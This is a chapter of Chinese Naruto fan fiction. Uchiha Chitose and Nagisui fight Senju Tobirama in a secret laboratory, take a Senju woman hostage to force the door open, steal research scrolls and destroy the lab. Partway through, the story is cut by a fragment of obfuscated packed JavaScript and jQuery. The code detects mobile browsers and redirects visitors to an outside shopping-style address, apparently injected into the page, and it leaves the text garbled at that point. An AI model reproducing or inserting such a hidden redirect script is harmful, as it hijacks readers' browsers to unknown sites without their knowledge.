凪水看清逆光走来的人影,心下一沉,瞬间认出那是千手扉间。
他太清楚千手扉间的强悍战力,右手被苦无重创几乎贯穿,早已握不住太刀,战力折损大半。他强忍着钻心剧痛,下意识一步上前,将千岁牢牢护在身后,眼底只剩决然。
“千岁,你听好……”
他声音压得发哑,带着强忍伤痛的颤意,
“我来拖住他,你找机会立刻离开,别管我。”
话音未落,只听铮然一声清响,太刀出鞘的锐响骤然划破密道死寂。
千岁已然抽下腰间太刀,单手握紧横于身前,金发在昏暗气流里微微拂动,眼底万花筒写轮眼缓缓轮转,眸光执拗又倔强,没有半分退缩。
“凪水,我说过。”
她语气平静却异常坚定,
“我从不是只会躲在别人身后、要人保护的弱女子。”
话音落,身形一晃,瞬身术化作一道金色残影,径直朝着千手扉间冲了上去。
凪水整个人怔在原地,受伤的右手微微垂落,目光牢牢锁着那道挡在他身前的纤细背影。
金发猎猎,身姿挺拔,明明看着单薄,却像生了不屈的傲骨,稳稳替他挡下了迎面而来的锋芒。
凪水心底莫名一震,呼吸都停滞了半秒,只有什么温热的情愫悄然生根发芽,在胸腔里肆意蔓延,再也压制不住。
千岁的万花筒飞速解析预判千手扉间的每一个动作轨迹,脚步压低,太刀自下而上凌厉上挑,意图硬碰硬震飞他手中兵刃。
千手扉间眸色一凝,见少女瞬息逼至近前,当即握紧长刀横挡而上。
金铁交鸣的脆响在狭窄密道里轰然回荡,震得人耳膜发颤。
近在咫尺的那张脸骤然落入扉间眼底,眉眼轮廓分明,日夜萦绕心头的模样,此刻真切立在眼前,无端搅得他心神纷乱。
“原来你竟是宇智波的小鬼。”
扉间沉声道,旋即运力侧身横刀劈出。
千岁足尖点地灵巧侧身避开,语气带着几分不悦:
“别总一口一个小鬼叫我。”
话音未落,她骤然旋身跃起,查克拉尽数凝于腿间,一记凌厉回旋踢精准落向扉间小腹。
强横无比的怪力骤然迸发,扉间受击闷吃一痛,身形微滞。
……
又是这怪力。
千岁抓住空隙,握刀直刺,锋芒直指他胸膛要害。
奈何千手扉间身经百战,战场厮杀经验老道至极。就在太刀逼近刹那,他猛地矮身侧身,手肘蓄力狠狠撞向千岁腹部。
剧痛传来,千岁身形一僵,手中太刀瞬间脱手飞出,哐当一声落在远处地面。
扉间趁势上前,动作利落狠戾,反手将千岁按倒在地,双腿牢牢扣住她腰腹,一只手反拧扣住她双臂禁锢在她头顶,整个人俯身压制,让她丝毫动弹不得。
千岁被彻底制住,周身受制,力道完全无从施展,陷入绝对劣势。
千手扉间腾出另一只手,自腰间摸出泛着冷光的千本,指尖蓄力,眼看就要朝着她脖颈要害刺下。
可就在千本即将落下的一瞬,他俯身凝目,近距离看清了她那双澄澈透亮的琥珀色眼眸,还有身陷绝境依旧不肯低头、倔强不屈的眼神。
动作骤然僵在半空,手腕顿住,竟迟迟无法落下杀招。
他心头翻涌纷乱,说不清是这双眼、这眉眼轮廓、这整张酷似杏奈的面容乱了心神,还是少女明明身陷绝境,眼底却毫无惧色、傲骨凛然的模样,让他迟迟下不了狠手。
就趁千手扉间迟疑愣神的刹那,被扣住双手的千岁掌心骤然雷光闪烁,鸟鸣声骤然炸响,整片密道瞬间被刺得雪亮。
淡蓝色的雷遁千鸟缠绕在她掌心,顺着两人相触的肌肤瞬间窜入扉间四肢,钻骨般的麻痛顺着经脉蔓延全身,浑身筋骨都被电流击穿,身形猛地僵硬住。
“小鬼……你居然还会雷遁……”
千手扉间话音还未落下,身体僵滞的空隙已被千岁牢牢抓住。她借力猛地挣开禁锢,身子顺势往侧边翻滚而出,狼狈脱开了他的压制。
方才被俯身压制的近距离肢体接触还清晰烙在心头,让她又羞又恼,眼底满是愠怒。掌心当即凝满浑厚怪力查克拉,起身便一拳直直砸了过去。
“这是你第二次占我便宜了!”
拳势蛮横沉重,结由实实落在扉间胸口。
千手扉间闷哼一声,只觉五脏六腑都剧烈翻滚,喉间一甜,当场呕出一口鲜血。
在千岁眼里,这个白发冷面大叔总一口一个小鬼唤她,本就心头憋着火,经此一闹,更是怒意翻涌。
她迅速后撤几步,与千手扉间拉开对峙距离,周身气息紧绷。
“千岁……不能再拖延了。”
身后的凪水强忍右手贯穿的伤痛,气息虚弱低声提醒。
一语点醒梦中人。
千岁心头一凛,瞬间压下满腔怒火,强行拉回心神。
不能恋战,外头族人还在拼死牵制,绝不能忘了此行真正的目的。
她心底飞速盘算,真要直接引爆起爆符毁掉所有研究秘辛固然简单,可若是有别的办法,又何必走到鱼死网破那一步。
她不想就这样算了,如若是能带回千手扉间研究的有关日向一族的白眼情报,那对日后宇智波一族有着不容小窥的作用。
思绪流转间,她余光一瞥,落在了一旁瘫在地上、浑身脱力动弹不得的那名千手女子身上。
短暂犹豫只在一念之间,千岁毅然迈步上前,伸手将那女子一把架起,锋利的苦无瞬间抵在了她纤细的脖颈间,寒光贴着皮肉,稍有不慎便会割破血脉。
“把门打开。”
她语气骤然冷厉,不带半分温度,
“不然,我现在就杀了她。”
身后的凪水微微一怔,眼底掠过几分讶异。
平日里性子温顺内敛的千岁,到了生死攸关、计划将败的绝境,竟也能果断使出这般要挟的手段。
架着人质的指尖其实在微微发颤,连千岁自己都说不清这份决绝从何而来。
她没有十足把握,笃定千手扉间会为了一名族人妥协让步,可这场筹划已久、赌上宇智波诸多族人心力的奇袭计划,她绝不能任由它在这里功亏一篑。
见千手扉间伫立原地,神色沉沉,迟迟没有回应,千岁眸色再冷几分,掌心隐隐腾起细碎的雷遁电光,语气带着决绝的警告:
“你若是敢动用飞雷神突袭我,我死的瞬间,掌心雷遁会径直灌入她心脏。我活不了,她也绝不可能独活。”
被苦无抵住脖颈的千手女子奋力挣扎,朝着千手扉间高声急喊:“扉间大人!不用管我!这些实验成果是您多年心血,万万不能落入他们手中!”
凪水在一旁凝神静观,心底早已认定,以千手扉间冷厉决绝的性情,绝不会为一名族人妥协半步。
可下一刻,现实却出乎他意料。
千手扉间面色沉郁,眉宇间满是不甘,却终究拗不过局势,缓缓开口,语气透着隐忍的无奈:
“我照做,你放了她。”
千岁微微一怔,没料到他竟这般干脆应下。
她依旧不敢放松警惕,生怕对方暗藏诡计,分毫不肯退让:
“解开封印术式,让凪水进去取物。等我们安全撤离,我自会放人。”
千手扉间沉默顿了片刻,再无迟疑,迈步走向那道石门。
千岁浑身紧绷,目光死死锁定他的一举一动,掌心雷遁隐隐蓄势,时刻防备他突然反悔、暗下阴招。
好在扉间并无异心,立于门前低喝一字:“解。”
繁复的封印术式微光渐敛,厚重石门应声缓缓开启。
“你退开到一边去!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512920|203075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>千岁冷声示意,勒令千手扉间远离门口,给凪水腾出通路。
凪水瞬间领会她的用意,强忍伤势,迈步径直踏入门内,前去搜寻那些血脉卷轴与研究典籍。
密道门口只剩千岁、人质与千手扉间三方对峙,气氛压抑得令人窒息。
千岁心底也生出几分意外,没想到素来杀伐果决、一心执念于研究的千手扉间,竟真的会为一名族人的性命,甘愿让步,舍弃多年心血。
僵持片刻,千手扉间隔着一段距离,望着神色紧绷的千岁,语气带着几分讥讽与调侃:
“小鬼,挟持女子为人质,行事未免太过不道德。”
这般剑拔弩张的对峙关头,他竟还有心思纠结道义,千岁心头莫名涌上一丝吐槽的冲动,当即冷声回怼:
“那你三番两次对我动手动脚,难道就很道德了吗,大叔?”
“大叔?”
这两个字如同惊雷,直直撞在千手扉间心上。
本就今日处处落于下风,遭宇智波奇袭、被人设局算计,连奈良一族都暗中倒戈,满心怒火早已积压到极点。
如今竟还被这金发宇智波小鬼一口一个大叔称呼,他不过方才二十三岁,何时被人这般叫过?
扉间一时被噎得无话可说,太阳穴突突直跳,额角青筋隐隐跳动,周身气压低得吓人,满心气恼却偏偏无从辩驳。
他目光沉沉凝望着眼前这名五官精致的金发少女,这般行事果决、不惜挟持人质步步紧逼,言语间伶牙俐齿、还敢当众顶撞调侃的性子,绝不可能是直率又坦诚的杏奈。
记忆里的杏奈,断然做不出胁迫旁人、以人命做筹码的举动,更不会用那般气人的话语怼得他无言以对。
眼前这人,不过是顶着一张相似面容、狡黠又执拗、肆无忌惮的邪恶宇智波小鬼罢了。
不多时,凪水从实验室深处走出来,手中紧攥着几卷封存完好的实验卷轴。
千岁与他目光交汇,无需言语,彼此已然心领神会。
她依旧架着那名千手女子,苦无始终抵在脖颈处,冷声对着千手扉间下令:
“你,进到实验室里面去。”
此刻受制于人,千手扉间别无选择,只能依从迈步走入密室。
待他身形完全没入,千岁与凪水立刻转身,一前一后顺着密道缓缓朝外走去,身后始终没有传来追喊声,显然千手扉间被滞在了密室之内。
一路疾行,两人很快抵达密道出口。
刚踏出暗口,凪水便敏锐察觉到四周神秘道查克拉涌动,全是千手一族赶来的援兵,当即低声急道:“快发撤退信号,卷轴到手,任务完成。”
千岁闻言闭上眼,再睁眼时,眼底微光一闪,一道隐秘的感知术式悄然发送出去,向族中主力传递撤退讯息。
“走,立刻撤离。”凪水抬手拉住她,就要带着人抽身离去。
可千岁却忽然顿住脚步,像是想起了什么,指尖飞快单手结印,轻吐一字:“爆!”
轰然巨响骤然炸响。
先前贴满石门与密室周遭的起爆符尽数引爆,火光冲天,土石崩落,整座地下实验室瞬间被滚滚硝烟吞没,轰然坍塌碎裂。
里面实验器械、残存典籍、未及带走的血继研究成果,尽数在烈火与爆破中化为飞灰,片甲无存。
而困在密道内的千手扉间本静静立在原地,正等着外头放人归来,转身刹那,只听震耳欲聋的爆炸声席卷而来,眼睁睁看着自己耗费半生心血的实验室,顷刻间化作一片废墟狼藉。
他僵在原地,周身气压低得可怕,额角青筋突突直跳,胸口剧烈起伏,满眼皆是震怒与憋屈。
若是他此刻拥有写轮眼,怕是早已被气得直接冲破桎梏,进化至万花筒。
咬牙切齿的话语从齿间挤出,满是隐忍的怒火:
“……这个可恶的金发宇智波小鬼!”